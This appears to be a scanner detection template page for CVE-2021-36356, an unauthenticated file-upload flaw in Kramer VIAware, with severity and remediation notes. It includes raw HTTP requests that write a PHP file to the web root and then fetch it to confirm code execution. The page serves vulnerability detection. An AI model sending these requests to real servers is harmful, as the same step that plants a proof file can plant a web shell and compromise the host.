| Title | Kramer VIAware - Remote Code Execution |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Unauthenticated attackers can upload arbitrary PHP files to the web root, achieving remote code execution and complete server compromise. |
| Remediation | Apply the latest firmware update provided by Kramer to fix the vulnerability and ensure proper input validation in the web interface. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91156 |
| CVE ID | CVE-2021-36356 |
| CWE ID | CWE-434 |
| Tags | cve2021 cve viaware kramer edb rce intrusive kramerav vkev vuln |
KRAMER VIAware through August 2021 allows remote attackers to execute arbitrary code because ajaxPages/writeBrowseFilePathAjax.php accepts arbitrary executable pathnames.
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.7
Connection: close
Content-Length: 138
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
radioBtnVal=%3C%3Fphp+echo+md5%28%22CVE-2021-35064%22%29%3B+%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F38FLmXeCNuMSlKhIWqfdx44O82u.php
GET /38FLmXeCNuMSlKhIWqfdx44O82u.php' HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36356.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-36356.pcap
N/AN/A